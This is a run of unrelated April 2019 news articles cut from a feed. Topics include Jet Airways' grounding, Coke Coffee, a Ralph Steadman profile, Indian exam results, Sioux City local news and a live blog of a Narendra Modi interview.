extremist groups. - Tourism hit - Dozens of foreigners died in the attacks and the government has said it expects the number of overseas tourists to fall by 30 percent this year, at a cost of $1.5 billion in revenues. Finance Minister Mangala Samaraweera said the island -- which depends on tourism as a cornerstone of its economy -- could take up to two years to fully recover. The United States, Israel, Australia, India and Britain have all warned their citizens against visiting Sri Lanka. Coffee-flavored Coca-Cola is coming to grocery and convenience store shelves this year. You could call it a different kind of energy drink. By the end of 2019, Coca-Cola will be releasing Coke Coffee in 25 markets around the world to get a foothold in the industry. The beverage is just as it sounds: Coca-Cola blended with coffee. With more caffeine than a can of soda, but less than a cup of coffee, the product will be pitched as an energy drink for that mid-afternoon slump, reports CNBC. It's not the first time the beverage giant has tried to launch coffee-flavored Coke. The brand first introduced Coca-Cola Blak in 2006 but discontinued it two years later, CNBC notes. Coca-Cola Australia also launched Coca-Cola Plus Coffee in 2017. Last year, Coca-Cola announced plans to acquire UK-based coffee chain Costa for US$5.1 billion, in an attempt to get in on the hot beverage market. The deal closed in January. The grounding of India's Jet Airways is turning into a quick windfall and long-term opportunity for international airlines keen to scoop up nearly a million outbound passengers from what was once the nation's biggest airline. Jet, which previously had a fleet of around 120 largely Boeing Co planes, was forced to indefinitely halt all flight operations on April 17 after its banks rejected the carrier's plea for emergency funds. The carrier's descent into crisis has benefited international airlines in the form of rising fares and demand, data showed. Also Read: SBI General PBT jumps 11.3% to Rs 470 crore in FY19; underwriting profit more than doubles to Rs 79 crore Fares from India to cities such as Dubai, London, New York, Singapore and Bali in the first quarter of 2019 rose between 4 per cent and 32 per cent from a year ago, according to Indian travel portal MakeMyTrip Ltd. In the peak travel months of May and June, fares to London have spiked as much as 36 per cent and tickets to San Francisco are up nearly 20 per cent from a year ago, according to data from travel portal Yatra.com. "For the next three months it's actually bonanza time for international players," said Ashish Nainan, a research analyst at CARE Ratings. "At least until the middle of June, the fares are not going to come down." Due to rising demand, even before Jet's lessors grounded planes, carriers such as British Airways, Cathay Pacific Airways Ltd, Singapore Airlines Ltd and United Airlines saw an up to a 27 per cent increase in passenger numbers from India in the last quarter of 2018, data from India's aviation regulator showed. That is the latest period for which the data is available. India is one of the world's fastest-growing aviation markets, clocking 15-20 per cent domestic growth in recent years. It has long had only two full-service long-haul carriers, state-run Air India and Jet. Jet is now hoping to be bailed out by a new investor, with final bids due on May 10. Before its grounding, Jet had the biggest share of India's outbound international air traffic, carrying 12 per cent of the 7.8 million passengers headed overseas in the Oct-Dec quarter, down from 14 per cent a year earlier, data from the Directorate General of Civil Aviation showed. The total number of passengers travelling overseas with Jet fell 10 per cent during the last quarter of 2018 even as the outbound travel market grew by about 5 per cent. Meanwhile, Singapore Airlines posted a 27 per cent increase in passengers from India, Cathay registered 17 per cent growth and British Airways saw a 10 per cent rise in the same period. Cathay said the events at Jet combined with increasing demand for travel had led it to deploy larger aircraft with more seats on some Indian routes. "In the long term we would certainly like to be able to offer more capacity into India, not just on our existing routes but by establishing new services to secondary cities," Cathay said in a statement. Singapore Airlines, in an email to Reuters, said the Indian market is "very promising" but declined to give details of airfare levels or demand patterns in the wake of Jet's exit, citing a quiet period before the release of its annual results. Jet's grounding has also had a big impact on the domestic market, with inter-city airfares to major cities such as New Delhi, Mumbai, Bengaluru and Kolkata soaring more than 20 per cent in May and June, according to Yatra.com. Also Read: Nirav Modi to remain in prison till May 24 after UK court denies bail again The spike in fares is expected to underpin strong earnings for IndiGo and SpiceJet Ltd, which are set to report results for the quarter ended March 31 in the coming weeks. "Domestic Indian carriers are the main benefactors, but I suspect if Jet fails to be revived by May 10 then Vistara and other airlines that ply international routes, particularly the lucrative Gulf market, are the main winners," said Shukor Yusof, the head of aviation consultancy Endau Analytics. Vistara is a joint venture of India's Tata Sons and Singapore Airlines. Inadequate bilateral traffic rights between India and other countries, however, could be an impediment to foreign carriers' hopes of winning business lost by Jet, some analysts said. "Even before Jet's operational shutdown, international capacity was significantly constrained," said Kapil Kaul, CEO for South Asia of consultancy CAPA. "We have now more serious capacity challenge ... this is unlikely to be stabilised in the near term." A new national government likely to be in place sometime after elections end in May is expected to address the international capacity constraints, and once bilateral agreements are eased airlines including Emirates, Turkish and Qatar would immediately benefit, said Kaul. "We would love to add more flights but we are at the limit of the allocation granted to us for traffic rights," Emirates Chief Commercial Officer Thierry Antinori told reporters in Dubai on Wednesday. Also Read: Indian government looks to ban cryptocurrencies; starts consultations on bill What changes will you be seeing after this week's round of social media platform updates? YouTube and Twitter add features to fight the spread of misinformation, Bumble will protect users from unwanted nudes, and Snapchat announces plans to use Bitmoji characters in games. Every week, the most popular apps and social media platforms get updated. Here's a summary of the changes you'll see in the near future: YouTube On Wednesday, Google announced in a blogpost that it's working to make YouTube's tools to fight fake news in Europe more robust. More specifically, the company noted that in the near future, it will launch transparency labels on government- or publicly-funded news publisher videos in the UK, France, Germany, Italy, Spain, and Poland. Twitter Also on Wednesday, Twitter announced that it has made it easier to report "deliberate attempts to mislead voters" which includes the spread of disinformation about how to vote or register to vote, voting requirements and the date of an election. When you tap to report a tweet, a new option will appear in the "Report an issue" menu where you'll be prompted to provide an explanation of the violation. This will first roll out in India to protect voters in the 2019 Lok Sabha elections, followed by rollout in Europe during EU elections. Public conversation on Twitter is never more important than during elections. Today, we're launching a new reporting feature to tackle deliberate attempts to mislead about voting. We'll start with #LokSabhaElections2019 & #EUelections2019 https://t.co/rDdEwX3FcR pic.twitter.com/jrLOc3k1hC Twitter Safety (@TwitterSafety) April 24, 2019 Bumble Story continues Bumble founder and CEO Whitney Wolfe Herd announced on Wednesday that the dating app's AI-powered "Private Detector" can detect sexually explicit images with up to 98 percent accuracy. When detected, the platform will refuse to upload these images to a personal profile, and will blur them if sent in a private chat until a user chooses to see them. The feature will roll out in June. Our AI will soon be able to detect a dick pic with 98% accuracy. We'll warn you if we think an image is lewd. https://t.co/iLKPovvUNc Whitney Wolfe Herd (@WhitWolfeHerd) April 24, 2019 Snapchat As reported by TechCrunch on Thursday, Snapchat is working on bringing your customized 3D Bitmoji avatar into video games via a Bitmoji for Games SDK. This software development kit will help game developers integrate Bitmoji characters into their games on "virtually any platform and in any genre." The Dia Art Foundation announced that it will launch a major conservation project in May for Nancy Holt's monumental artwork, on show in Utah's Great Basin Desert. This will be the first time that "Sun Tunnels" will undergo restoration work since its conception in 1973. "Sun Tunnels" is composed of four concrete cylinders, each 18 feet long and 9 feet in diameter. Arranged in an "X" formation, the cylinders are aligned to frame the sun on the horizon during the summer and winter solstices. At the top of each tunnel, Holt drilled small holes representing the constellations Draco, Perseus, Columba and Capricorn. The 10-day renovation will target the cracking and erosion of the concrete that forms the tunnels, caused by exposure to extreme conditions in Utah's Great Basin Desert. Overseeing the project, President and Chief Conservator of RLA Conservation Rosa Lowinger told The Art Newspaper that the graffiti scrawled on the artwork by visitors over the years will also be removed. "Sun Tunnels" was acquired by the Dia Art Foundation in 2018 with the support of the Holt/Smithson Foundation, which aims at preserving the artistic legacies of Holt and her husband Robert Smithson. It was the first work of land art created by a woman to enter the foundation's collection. The land art movement, which emerged in the 1960s and 1970s, features a series of artworks that were made directly in the landscape -- either by sculpting the land itself or by using natural materials such as rocks or twigs. Holt was among the most important contributors to land art, with Smithson and Michael Heizer. "Nancy Holt's 'Sun Tunnels' is landmark earthwork that is central to the future of art history [...] This conservation of 'Sun Tunnels' is emblematic of Dia's undertaking to enable long-term and direct experience of artworks that have built the ground of art today," said Lisa Le Feuvre, executive director of the Holt/Smithson Foundation, in a statement. The Duke of Cambridge is in New Zealand [Photo: Getty] Prince William has shared a sweet moment with a five-year-old terror victim, during a visit to Starship Childrens Hospital in Auckland. The Duke of Cambridge spoke to Alen Alsati, who is recovering in the hospital after being injured in the Christchurch mosques terrorist attack. Alen woke from a coma earlier this week after suffering critical injuries in the attack. In the sweet exchange shared on the Kensington Royal Instagram account, little Alen briefly spoke to the prince, who sat down at the edge of her hospital bed. Do you have a daughter? she asked the dad of three. Do I have a daughter, yes her name is Charlotte, he responded. Shes about the same age as you. Five years after his last visit, Prince William also visited Christchurch to pay tribute to those affected by the terror attack las month, which claimed the lives of 50 people. The 36-year-old was pictured stepping off the plane with Prime Minister, Jacinda Ardern, after attending an Anzac Day service in Auckland together earlier in the day. He also meet emergency staff members at the Justice and Emergency Services Precinct in Christchurch and with Police Commissioner Mike Bush. Earlier in the day, he lay a wreath at the Auckland War Memorial Museum, during his two-day trip to New Zealand. New Zealand Prime Minister Jacinda Ardern greeted Prince William with a Hongi a traditional Maori greeting. The whirlwind visit will conclude with a visit to Linwood Masjid mosque to meet with members of the community and later he will lay a wreath at the Oi Manawa Canterbury Earthquake National Memorial. Photo credit: Getty Images From Esquire "I was going to write, 'Fuck the Pope,'" Ralph Steadman tells me. Well, he told that to Hunter S. Thompson half a century ago, when the duo went up to Rhode Island for the America's Cup and Hunter proposed they commandeer a vessel of their own for the occasion. Steadman, a renowned satirical artist, worked with Thompson on some of his biggest stories as he birthed the Gonzo style, an extension of the New Journalism that abandoned objectivity and thrust the writer into absurd narratives as the protagonist. "Our idea was to get a band of scruffy buggers on another boat and get in the race," Steadman says in his Welsh-English lilt. But they first set out just the two of them in a rowboat, meandering amongst the racing yachts while they were still docked in the harbor. Steadman got a bit sick, and he saw Hunter eating something and he asked what it was. "Oh, I don't know," Steadman remembers as the response, relayed through a perfect Hunter impression. "It's just some tablets." They weren't just tablets, of course, they were psilocybin, the active ingredient in hallucinogenic mushrooms, and they both took some while Hunter rowed them around the big racing craft. They pulled up between two of them and Steadman got himself in position, because you'd better believe he was going to draw something on the side of one of the boats for all to see once the race kicked off. Hunter was trying to hold the boat steady and Steadman was just about ready and then the guards showed up. "What are you doing?" they said. "Oh, we're just looking at the boat," Steadman remembers Thompson saying, again channeling that eerie impression. And then Thompson stage-whispered to him. "We'll make a run for it?" Photo credit: Getty Images The world around was surely filtering into Steadman's brainstem through a kaleidoscope by this point, and before he knew it Hunter was pulling on the oars wildly, trying to wheel away from the guards. "All I saw suddenly were a pair of feet up in the air," he remembers. The oars had come out of their sockets, and Hunter was flailing about. But he'd come prepared. Story continues "He hadn't told me this, but he also brought with him some flares, for distress," Steadman says with a hint of a smirk, "and he set them off in the harbor and the people coming for us were completely diverted to putting out the fires that were all over." Once they'd escaped, Hunter asked that question: "Well, what were you going to write?" "I was going to write 'Fuck the Pope,'" Steadman answered. Hunter didn't miss a beat. "Are you religious, lad?" Ralph Steadman was always going to write Fuck the Pope on that yacht because he likes to take the piss out of powerful people but also because he has a reflexive need to draw on things. The dark caricatures and caustic shadings come tumbling out of his forefingers like industrial runoff, eating away at the pretense of our polite little world with acidic insight. I sat with him at the Vans store on the Bowery in New York this month, not long after he'd had a chat with Trevor Noah about his Gonzovationist partnership with the brand, which seeks to raise awareness of conservation efforts to save endangered animals. He's also got a coffee table book full of snow leopards and Monarch butterflies and Cuban crocodiles in explosive color, each bestowed with a particular brand of Steadmanian personality. Photo credit: Scottie Cameron SHOP THE VANS x RALPH STEADMAN COLLECTION But as we spoke, he'd pause periodically as people came up with something they'd like him to sign-a shirt he'd designed for the partnership, a pair of low-top Vans, a skate deck featuring a white rhino. Except he didn't just sign them. He rattled off a Ralph Steadman original each time, using nothing but permanent marker or whatever else was immediately available. He signed a jean jacket and, with a swooping flourish on the final letter, moved deftly into outlining a cartoon face that looped down to cover much of the back. Steadman is known for his surreal and often grotesque depictions of human beings both notorious and anonymous. He has an uncanny ability to draw out some slice of someone's character and send it screaming off the page. That made him a great asset to Hunter Thompson, who died in 2005, as they went chasing Richard Nixon for Rolling Stone and what eventually became Fear and Loathing on the Campaign Trail '72. It wasn't just the candidate-Steadman's treatments of the tribalist crowds at the Republican National Convention that year were just as savagely cutting. So, too, was his snapshot of racing fans for The Kentucky Derby Is Decadent and Depraved, his first work with Hunter that launched the Gonzo journalism movement. His ink-blot satires depicted attendees as fabulously dressed, hideously intoxicated, and crawling on their stomachs towards the muddy infield to lose more money at the races. Photo credit: Rune Hellestad - Corbis - Getty Images In fact, it was Steadman's craft that conjured one of the most hilariously disturbing passages in Thompson's watershed work. Another problem was [Steadman's] habit of sketching people he met in the various social situations I dragged him into, then giving them the sketches. The results were always unfortunate. I warned him several times about letting the subjects see his foul renderings, but for some perverse reason he kept doing it. Consequently, he was regarded with fear and loathing by nearly everyone whod seen or even heard about his work. He couldnt understand it. Its sort of a joke, he kept saying. Why, in England its quite normal. People dont take offense. They understand that Im just putting them on a bit. Fuck England, I said. This is Middle America. These people regard what youre doing to them as a brutal, bilious insult. Look what happened last night. I thought my brother was going to tear your head off. Steadman shook his head sadly, But I like him. He struck me as a very decent, straightforward sort. Look, Ralph, I said. Lets not kid ourselves. That was a very horrible drawing you gave him. It was the face of a monster. It got on his nerves very badly. I shrugged. Why in the hell do you think we left the restaurant so fast? I thought it was because of the Mace, he said. What Mace? He grinned. When you shot it at the headwaiter, dont you remember? Hell, that was nothing, I said. I missed him and we were leaving, anyway. Steadman remembers it all well. He says the America's Cup was actually one of relatively few times he got into illegal drugs. "I was the innocent abroad," he says, and then, pondering it: "I was ages coming down." He was still distraught by the time he got back to New York, where he needed the editor of Scanlon's Monthly to get him a cab to a friend's house because he had scarcely a penny to his name. When he arrived, his friend asked if he needed a doctor. "Do you usually do this sort of thing?" Photo credit: Paul Harris It's all in sharp contrast with Hunter, whose record as an abuser of wild and dangerous narcotics may be unrivaled in recorded human history. "He used to have, sent up to his room, a breakfast tray with six margaritas on it," Steadman says. "He used to be hideous. People would give him tablets, he'd eat it, then he'd say, 'What was that?'" "That's been his real talent, though," he adds. "Pay the ticket, take the ride." For all that relative sobriety, however, Steadman's mind is a quantum wonder, a dream machine capable, in an instant, of twisting our reality into new and perplexing shapes that uncover the texture and material from which it's all been made. Ask him a question, and you'll start on the same lily pad. By the end, or sometimes right away, he's shouting over from a lily pad in a different dimension. When Trevor Noah queried him about his relationship with his collaborator of the last seven years, Ceri Levy, Steadman broke out in song and crafted a freestyle hymn about the exposed brick and wood moldings that composed the Vans store's Lower East Side aesthetic. "You end up in the Steadman Space-Time Continuum," Levy, a music-video and documentary filmmaker in a past life, says with a laugh. "Black holes are safer. You never know where you're going to come out, but it's usually somewhere really interesting." Steadman's discussion with Noah, then, was scarcely about the partnership or conservation at all. It was a rollicking skip through the phantasmagorical corridors of his mind. When I asked him later about the prospects for the environment and the endangered species he'd set out to help protect, we went down a number of them. "It's time for the [younger generation] to think seriously about doing something-without violence," he said, "And stop being unpleasant, spiteful, sarcastic..." Was he positive about the future? "Oh, yeah. We have to be. There's nothing else." Is he hopeful we'll do what's needed to safeguard the environment and these animals? Photo credit: Vans "Not really, no." Are we going to make it? "No." Should I have kids? "Yeah, for your own sake." Occasionally, he would arrive quite purposefully on politics. He's made his views on the current leadership plain before, chiefly to the Guardian. "Trump is a lout," he said then. "He's a godawful disgrace to humanity." He expanded on it here. "Nixon was at least a real politician-even a crooked one. Trump is nothing but a businessman-and a really stupid one at that. I mean, cunning." I asked him what he made of the crowds at Trump's rallies, and how he might draw them having so memorably depicted the Young Republicans chanting, "Four More Years!" in 1972. "Well, you'd have to use Revlon lipsticks for the colors," he said simply. "I mean, I'd like some lipstick now. I've got some work to do on that," he added, motioning to a print of his Dodo work that had been auctioned off for charity, and to which he was now adding looping caricatures here and there. "I didn't come expecting to do this tonight. The black is all anyone's got." Photo credit: Vans And then he was back to creating Ralph Steadman original works of art for anyone that had the gumption to come by. One was a young kid, fronted by his mother. "Brandon, B-R-A-N-D-O-N, is going to go to the Olympics for skateboarding," she said, presenting a skate deck for Steadman to sign. He seemed to have no idea what she was talking about. "He's going to the Olympics on his skateboard," she said. "Ah, that's wonderful!" Steadman said, still not entirely there as he started scrawling another bizarro sketch on the back of the board. He finished, signing his name with a flourish, and presented it for Young Brandon the Olympic Skateboarder. It even was addressed to him personally. "BRANDAN," it read. ('You Might Also Like',) Instagram, which has more than one billion users worldwide, is a platform that allows users to post images and videos that others can then like or comment on The Central Intelligence Agency opened its own account on Instagram Thursday with a picture of a desk of mysteries teased by the children's game prompt "I spy with my little eye." The photo tempts with intrigues and adventure: a wig suggesting disguises, maps of China and the Gulf, foreign banknotes, a burn bag for getting rid of secret documents, a notebook with Arabic, and other items -- mostly real operation souvenirs of CIA officers. Next to a wall is a photo with the words: "I want to travel the world." The Instagram posting was an expansion of the premier US spy agency's effort to recruit a younger generation of officers, agents and analysts, having already been on Twitter and Facebook for years. The agency has been openly recruiting from universities and industry, and Instagram gives it a way to reach a large, younger demographic: most of its regular users are under 30. "We're looking to spark the curiosity of Instagram's users about the many ways CIA's global mission has us going where others cannot go and doing what others cannot do," the agency said in a statement. "Through the account, we'll give a peek into agency life, but we can't promise any selfies from secret locations." Tthe UP Board result 2019 for class 12th students is expected to be announced tomorrow. The Uttar Pradesh Madhyamik Shiksha Parishad, also known as UPMSP, will release the UP Board results of class 12th and 10th 2019 on its official website upmsp.edu.in. However, Uttar Pradesh board students can also download their results from websites like examresults.net, upresults.nic.in. A total number of 26,11,319 students appeared for the UP Board 12th exam this year. The students can also get their result through SMS. Though there hasn't been any confirmation from the UP Board officials about the exact time of the announcement, it is anticipated that the UP Board 12th result will be declared on Saturday. In Class 10th and 12th UP board exams, which were held from February 7 to March 2, around 58 lakh students appeared. The UP board Class 10th and 12th exams were conducted across 8,354 schools in the state. According to education experts, Class 10th and 12th board exam results are expected to improve this year as the Uttar Pradesh State Education Board has made several initiatives to maintain good results. The UP government had also deployed a special task force to track "cheating" in exams. Due to strict vigilance of UP government's special task force, a few cases of cheating during the examinations were reported during these tests. Earlier, UPMSP used to release the UP Board results by the end of May or June. However, the results, in 2018, were declared on April 29. Here's how to check the UP Board Class 10th, 12th exam result Visit the official website of the UP Education Board, upmsp.edu.in Click on Class 12 and 10 results link Enter your roll number, admit card details and click on submit button You can save your result for future reference Check UP Board exam results through SMS SMS - UP10ROLLNUMBER - Send it to 56263 SMS - UP12ROLLNUMBER - Send it to 56263 Sources to check UP Board Class 10 and 12 results upmspresults.up.nic.in results.nic.in upmsp.edu.in upresults.nic.in examresults.net (Edited by Vivek Dubey) Also read: TS Inter Result 2019: Here's how you can check your TSBIE intermediate result Also read: TN HSC Result 2019 declared: Here's how you can check result at tnresults.nic.in Older Adult Service Faith United Presbyterian Church, 4327 Morningside Ave., will hold an Older Adult Sunday at 10:30 a.m. May 5. The Worship Leaders will be the Noteables Group, who have been singing together for more than 35 years. Spring Salad Luncheon The ladies of Riverside Lutheran and New Hope Community Church, 1817 Riverside Blvd., will held their annual Spring Salad Luncheon from 11 a.m. to 1 p.m. Saturday in the community room. Tickets are $8 for adults and $5 for children ages 12 and under. Be sure to take a chance on a beautiful quilt made by our members and register for donated gifts from various local businesses. Rummage Fundraiser Whitfield United Methodist Church, West Fifth and Rebecca streets, will hold its Spring Rummage from 8 a.m. to 6 p.m. Friday and 8 a.m. to noon Saturday. Lots of furniture, clothing and all the usual great rummage items. Ribfest Hope Lutheran Church, 218 W. 18th St., will host a Ribfest from 10:30 a.m. to 1 p.m. May 5. There will be a free-will offering with proceeds going toward the Poland Mission Trip. There will also be a silent auction. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 SIOUX CITY -- A Sioux City man has pleaded not guilty to firing shots during a disturbance in which a juvenile was hit by one of the rounds. Tristian Flores, 20, entered his written plea Thursday in Woodbury County District Court to reckless use of a firearm and intimidation with a dangerous weapon. According to court documents, Flores was involved in a disturbance in front of his residence in the 1400 block of Summit Street at about 5 a.m. on April 13, when he retrieved a .22-caliber rifle from his garage and fired at least four shots. A round hit a 15-year-old male in the neck. The juvenile was taken to UnityPoint Health-St. Luke's for treatment. Chase Sweisberger, 21, of Sioux City, also was arrested and charged with firing one shot from the rifle. He has yet to enter a plea to charges of reckless use of a firearm and intimidation with a dangerous weapon. Copyright 2019 The Sioux City Journal. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Love 0 Funny 3 Wow 0 Sad 0 Angry 2 Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. SIOUX CITY -- From her undergraduate and doctoral faculty advisers to Briar Cliff University officials and students, the praise for Rachelle Karstens piled up during a two-hour ceremony at the Newman Flanagan Center Friday. Karstens, 49, heard a lot of compliments about her abilities as the Sioux City school celebrated her inauguration as the 11th president in its 89-year history. The university's Board of Trustees in July 2018 elevated Karstens, who had been serving as interim president since 2017. Fred Ribich knows her very well, back to the early 1990s when he was Karstens' faculty adviser and she won the Outstanding Senior Psychology Major award at Wartburg College in Waverly, Iowa. Ribich cited Karstens as "Wonder Woman," for her dogged work ethic and embrace of the college experience to prepare people for the adult world. He also cited the inauguration themes of "Igniting Faith, Inspiring Service and Empowering Learning," as shown prominently on banners adorning the stage facing 350 people. "When it comes to igniting, Rachelle is a real flamethrower," Ribich said. Karstens' installation as president became official when a college official handed her a lengthy ceremonial staff called a mace, which is a symbol of authority dating to medieval times. When it came time for her remarks, Karstens told the crowd she developed "the anti-crying gene" to remain composed in her prior career as a courtroom attorney. As she heard Ribich and Professor Robyn Cooper of Drake University in Des Moines praise her gifts, as seen when working closely with her as a student, Karstens let tears flow. "I think the tears are gone now, so I should be able to speak now," she said some minutes later. Karstens could see in the front row her two college-age children, Clara and Grant Karstens, and parents Miriam and Gene Karstens, of Clear Lake, Iowa. She said a long-time friend told her to "savor" the day, which Karstens took to heart. "I love it, because it is so close to savior," Karstens said. She made a quick rise in the Briar Cliff hierarchy, coming to the college as chief of staff in May 2017, then leading the college after the unexpected resignation of former president Hamid Shirvani two months later. "My move to Sioux City was the 31st move in my lifetime and the 14th city in Iowa in which I have lived," Karstens said. A native of Davenport, Iowa, Karstens began her career as an associate attorney and assistant prosecutor before establishing her own legal practice in Montezuma, Iowa. During her time in the eastern Iowa city, she served on the Wartburg College Board of Trustees while the private college selected a new president a decade ago. In a Journal interview, Karstens said that's when she first mulled a new career path, not just to work in college administration, but to be president. "This is the culmination of a dream and 10 years of hard work," she said. Shirvani announced his resignation as president in July 2017, after just 14 months on the job. Shirvani succeeded Bev Wharton, who led Briar Cliff for 15 years, the longest tenure in its history. Wharton was in attendance Friday, as was former president Sister Margaret Wick, who was president from 1987 to 1999. Karstens noted each of those those women, like her, were in their late 40's when leading the college through good eras. "Briar Cliff University helps our students find their 'why,' find their purpose," she said. Perched on a hill on Sioux City's north side, Briar Cliff was founded in 1930 as a Catholic college for women and began admitting men in the late 1960s. There are now 1,222 students, and Karstens said she is working with the trustees to flesh out a three-year strategic plan with a flush budget to support academic programs. She said it was premature to share any short-range goals until that plan is done. Steven Freeman, who is chairman of the 15-member university Board of Trustees, spoke with enthusiasm about the high regard the board has for Karstens. "She appreciates our Christian Franciscan values and the role they play in shaping our students," Freeman said. "This is an exciting time, as we enter the next chapter in the leadership of The Cliff." Karstens nodded as The Rev. R. Walker Nickless, bishop of the Diocese of Sioux City, said, "Knowledge is power, and power, in the Christian tradition, is about serving, not domination and control." Megan O'Gara, a sophomore from South Sioux City, said Karstens has a high profile on campus. "She is almost like a friend to the students. She does her best to connect to the students, to be friendly with an open door," O'Gara said. Copyright 2019 The Sioux City Journal. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 ROCK VALLEY, Iowa --The owners of a grocery chain in Rock Valley have decided to turn over the business to a new owner. The Van Otterloo family, the longtime proprietors of Van's Marketplace Foods, have sold the business to Sunshine Foods. The grocery chain, which has 15 locations -- including in Rock Rapids, Hawarden and Milford, Iowa -- will take over Van's Marketplace in mid-July, according to a press release from the company. Van's Marketplace Foods will remain open during the transition. The Van Otterloo family has been in the grocery business in Rock Valley for nearly six decades. Kevin Van Otterloo, the store's current owner and mayor of Rock Valley, said in a statement that the decision to sell didn't come easily. Its never an easy decision to leave something youve spent your entire career doing and thats been a part of your family for decades, but knowing we are passing the torch to another family and community-orientated business makes leaving a lot easier, Van Otterloo said. Sunshine Foods belongs to a cooperative of more than 3,900 grocery stores, according to the release. The chain, which stresses on its website the importance of shopping locally, has locations in Iowa, South Dakota and Minnesota, primarily in small towns. The move comes as independent small-town grocers have struggled against declining populations and competition from big-box stores, online shopping and national chain stores like Dollar General. The sole grocery store in Correctionville, Iowa, closed permanently in mid-April after failing to find a buyer for the store at auction. According to a survey conducted by the University of Minnesota, 63 percent of small-town grocery operators do not plan to own the store in 10 years. Copyright 2019 The Sioux City Journal. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. In an explosive interview with India Today, Indian Prime Minister Narendra Modi today for the first time spoke at length about highly-debated topics including demonetisation, unemployment and a slowing economy. Prime Minister Narendra Modi refused to agree there is a job crisis in the country and said no one has the figures to prove that demonetisation had caused massive unemployment. Prime Minister Modi defended the decision to demonetise old Rs 500 and Rs 1,000 currencies saying it was an attack on black money in the country. He also said that demonetisation had changed the mindset of the nation on black money. The prime minister also emphasised that the tax base has doubled thanks to demonetisation as people started declaring their income instead of hiding. 3x times the 'Josh' 3x times the questions The most UNFORGETTABLE interview with PM @narendramodi Tune in to India Today TV & Aaj Tak at 7 pm#ModiOnAajTak#Kashipic.twitter.com/rqZdzLkOIQ India Today (@IndiaToday) April 26, 2019 PM Modi on Friday filed his nomination papers to contest the Lok Sabha Election 2019 from Varanasi parliamentary constituency. Prime Minister Narendra Modi reached the District Collectorate's office to file his nomination papers from the temple town as it votes in phase 4 of the Lok Sabha Election 2019 on May 10. The Prime Minister met top BJP leaders and NDA allies before filing his papers. Also Read: Here are all the live updates on the Lok Sabha Election 2019. 8:14pm: "Incomes can be doubled by lowering input costs, hiking MSP, giving solar panels, exploring new avenues like honey and adding value. Indian corporates are not making even 1% investment in agriculture, I have told them they must pitch in," PM Modi said over doubling farmers' income. 8:08pm: "I believe judiciary should be independent. When I was Gujarat CM, I faced SIT investigation without any fuss. I was interrogated for 9 hours. It was possible because I respect institutions. To honour the institution is the responsibility of all the citizens, politicians, and the government," PM Modi said about the allgations of national institutions being undermined. 8:01pm: "There is scope for improvement in everything. Nothing is final, change is constant, otherwise the world wouldn't last this long," PM Modi in on the question of whether he would have changed anything in the implementation of demonetisation. 7:55pm: "Those who claim there was job loss due to demonetisation don't have stats to back that. People are looking for excuses to discredit the huge decision of demonetisation," said PM Modi. 7:51pm: PM Narendra Modi exclaimed that he is satisfied with the economic management of his government. 7:50pm: "There is a realisation that days of black money have ended, we have to do business honestly. Demonetisation has stemmed the flow of black money and this has changed the mindset of the citizens. Some of the credit for low inflation goes to demonetisation," says PM Modi. 7:49pm: "Demonetisation wasn't done for elections. Our opponents in Uttar Pradesh fought on the issue of demonetisation but the people of UP gave a slap on their faces that now they don't even talk about it. They are still crying about it because they have lost a lot. There were photographs of money being taken out from inside cots, jute bags kept in the garages of corrupt politicians and bureaucrats. Rs 1.30 cr was seized. Benami properties worth Rs 50,000 cr were seized. More than 3 lakh shell companies have been shut down. Tax collections have increased," said PM Modi. 7:45pm: Compared to 2014, when inflation made headlines, it is no longer being discussed, PM Modi said. 7:38pm: "Assessing job numbers is a big challenge in front of the government. We'll have to use realtime information technology, we are working on it. We might bring a mechanism of global standards within a year or two," says PM Modi. 7:35pm: Talking to India Today TV, PM Narendra Modi said that 1.25 crore jobs have been created every year. The Prime Minister said, "The CII and Nasscom reports have showed there has been an increase in job creation. EPFO figures show almost 1.25 crore jobs have been added every year. 4.5 crore people got bank loans for the first time under Mudra Yojana. If the roads are being constructed, are jobs not being created?" 7:18pm: "For the first three phases, the focus of Opposition's absues was me. But now they are targeting EVMs," PM Narendra Modi said 7:15pm: "I don't have rivals, I have competitors." PM Narendra Modi talks to India Today and Aaj Tak in an exclusive interview. 6:20pm: Election Commission of India has issued a notice to BJP District President of Nadia, West Bengal Mahadev Sarkar for violation of Model Code of Conduct by making personal remarks against TMC's Mahua Moitra during a public meeting. Sarkar has been barred from holding any election campaign or interviews in media in connection with the Lok Sabha election, for 48 hours, starting from 4:00pm on April 26. Election Commission has issued a notice to Nadia BJP District President Mahadev Sarkar for violation of Model Code of Conduct by making statements attacking personal life of Mahua Moitra (TMC) during a public meeting at Krishnanagar Govt College on April 22. #WestBengalhttps://t.co/0pza6GXftf ANI (@ANI) April 26, 2019 5:35pm: "Remember how Congress people made fun of 'Swachh Bharat mission'. They didn't leave any chance to call the idea a small one. Whenever I used to pick the broom, they used to spend the entire day trolling me on social media," PM Narendra Modi said during an election rally in Jabalpur, Madhya Pradesh. PM in Jabalpur, Madhya Pradesh: Remember how Congress people made fun of 'Swachh Bharat mission'. They didn't leave any chance to call the idea a small one. Whenever I used to pick the broom, they used to spend the entire day trolling me on social media pic.twitter.com/VEHVfyEAnZ ANI (@ANI) April 26, 2019 4:25pm: AAP leader and East Delhi Lok Sabha candidate Atishi Marlena has filed a criminal complaint in the trial court against cricketer and BJP candidate Gautam Gambhir, seeking direction to police to investigate him for allegedly enrolling as voter in two separate constituencies. The Tees Hazari Court in Delhi will hear the matter on May 1. Atishi Marlena, AAP leader & East Delhi Lok Sabha candidate, has filed a criminal complaint in the trial court against cricketer & BJP candidate Gautam Gambhir seeking direction to police to investigate Gambhir for allegedly enrolling as voter in two separate constituencies. pic.twitter.com/JzGUOyjkpd ANI (@ANI) April 26, 2019 4:10pm: Preneet Kaur, Congress candidate from Patiala Lok Sabha seat and wife of Punjab Chief Minister Captain Amarinder Singh, filed her nomination. Patiala: Preneet Kaur, Congress candidate from Patiala & wife of Punjab Chief Minister Captain Amarinder Singh, files her nomination for #LokSabhaElections2019 . Captain Amarinder Singh also present. pic.twitter.com/tPGL2OgFrO ANI (@ANI) April 26, 2019 4:02pm: Delhi Court 